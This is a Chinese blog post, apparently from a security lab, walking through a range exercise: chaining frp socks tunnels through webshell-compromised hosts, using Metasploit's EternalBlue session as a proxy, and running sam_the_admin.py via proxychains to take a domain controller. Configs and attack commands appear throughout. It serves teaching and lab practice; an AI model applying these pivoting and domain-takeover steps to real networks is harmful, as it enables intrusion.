内网渗透|内网攻防—多级代理

admin 2025年7月1日17:24:21评论4 views字数 2854阅读9分30秒阅读模式

0x01

前言

本文讲述由公司的一次内网靶场攻防,对多级代理的建立和配置进行分享,首先介绍一下靶场。
入口是有web漏洞的linux机器,横向到一个有漏洞的winPC上(双网卡),通过双网卡ms17-010到域成员机器上,最后打域控。
这里因为篇幅原因,不说攻打靶场的全过程,直接到frp隧道的建立和连接。

攻击机(kali):172.16.222.128

入口机:192.168.10.10

winPC:192.168.10.20/ 192.168.20.10

ms17-010:

192.168.20.20/

192.168.30.20

域控:192.168.30.10

0x02

一级代理的建立

在这里简单说一下个人对frp隧道的想法。

frp是指搭建好隧道后,可以通过服务端(frps)将流量转发至客户端(frpc),通过设置代理的方式将流量转发至内网。

此处我们进行一级隧道搭建,将我们的流量转发至入口机,建立正向隧道,将攻击机流量代理至入口机。

1.我们首先需要将服务端(frps)上传在事先准备好的攻击机kali机器上

frps服务端的配置信息
frps.ini:[common]bind_port = 7000
启动服务端
./frps -c frps.ini
内网渗透|内网攻防—多级代理

2.将客户端(frpc)通过webshell上传到入口机

frpc客户端的配置信息
frpc.ini[common]server_addr=172.16.222.128server_port=7000[socks5_to_1]type=tcpplugin=socks5remote_port=10088
启动客户端
内网渗透|内网攻防—多级代理

3.我们这时可以看到一级代理建立成功

内网渗透|内网攻防—多级代理

4. 一级代理的使用

代理隧道搭建成功后,我们需要在本机设置全局代理。
内网渗透|内网攻防—多级代理
至此一级代理搭建完成我们可以访问到192.168.10.*网段。

0x03

二级代理的建立

前面已讲述了利用frp搭建socks隧道,此处搭建二级代理是对一级代理的延申,使其可以将流量转发至内网的192.168.20.*网段。

1.首先我们将服务端(frps)通过webshell上传到入口机

frps服务端的配置信息
    frps.ini:[common]     bind_port = 7000
启动服务端。

2.将客户端(frpc)通过webshell上传到winPC机器

frpc客户端的配置信息
   frpc_2.ini [common]  server_addr = 192.168.10.10  server_port = 7000 [socks5_to_1]type = tcpplugin = socks5remote_port = 10088
启动客户端。

3.将新的客户端配置文件(frpc_1.ini)上传到入口机

frpc_1.ini配置信息
  frpc_1.ini:[common]  server_addr = 172.16.222.128    server_port = 7000[socks5_to_1]          type = tcpplugin = socks5         remote_port = 10088       [socks5_to_2]          type = tcplocal_ip = 127.0.0.1     local_port = 10088        remote_port = 12020

4.具体运行流程

在入口机运行frps服务端监听->在winPC运行frpc客户端->在入口机运行新的frpc客户端->kill掉入口机之前的frpc。

5.我们这时可以看到二级代理建立成功

内网渗透|内网攻防—多级代理

6. 二级代理的使用

和一级代理相同,将本地设置全局代理,或在网页设置代理。(注意端口)
内网渗透|内网攻防—多级代理
至此二级代理搭建完成我们可以访问到192.168.20.*网段。
此时攻击机代理端口分别对应:
10088 --> 192.168.10.* 网段
12020 --> 192.168.20.* 网段

0x04

三级代理的建立

因为可以访问到20网段的信息,所以我们可以通过msf对靶机ms17-010漏洞进行利用,从而使其上线,并在msf中配置三级代理。

1.配置三级代理信息

msf6 exploit(windows/smb/ms17_010_eternalblue) > useauxiliary/server/socks_proxy                        //设置代理msf6 auxiliary(server/socks_proxy) > show optionsModule options (auxiliary/server/socks_proxy):      Name     Current Setting Required Description  ----     --------------- -------- -----------     PASSWORD                   no       Proxy password for SOCKS5 listener  SRVHOST   0.0.0.0         yes       The address to listen on  SRVPORT   1080             yes       The port to listen on  USERNAME                   no       Proxy username for SOCKS5 listener  VERSION   5               yes       The SOCKS version to use (Accepted: 4a, 5)Auxiliary action:    Name   Description  ----   -----------    Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > set session 2    //设置需要代理的session会话session => 2msf6 auxiliary(server/socks_proxy) > exploit             //建立监听[*] Auxiliary module running as background job 0.msf6 auxiliary(server/socks_proxy) > [*] Starting the SOCKS proxy server
内网渗透|内网攻防—多级代理

2.配置代理服务

sudo vim /etc/proxychains4.conf
添加socks5代理
socks5    127.0.0.1 12020
内网渗透|内网攻防—多级代理
利用sam-the-admin-main脚本获取域权限
sudo proxychains4 python3 sam_the_admin.py HACKER/user:qnmb@123! -dc-ip 192.168.30.10 -shell
内网渗透|内网攻防—多级代理
至此三级代理搭建完成我们可以通过漏洞执行本地脚本从而获取域控。

0x05

总结

三级代理的建立和配置文件的配置信息都已经在文中讲述,但在实战中 虽然通过代理 我们可以将数据包代理至靶机,但是,虽然请求包进入了内网,因为我们代理的靶机无法访问外网,所以大部分工具无法收到响应包,也就会探测失败。所以我们会在后续文章中讲解反向socks隧道的搭建。
内网渗透|内网攻防—多级代理
内网渗透|内网攻防—多级代理
内网渗透|内网攻防—多级代理

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识

原文始发于微信公众号(长白山攻防实验室):内网渗透|内网攻防—多级代理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日17:24:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透|内网攻防—多级代理https://cn-sec.com/archives/1076612.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息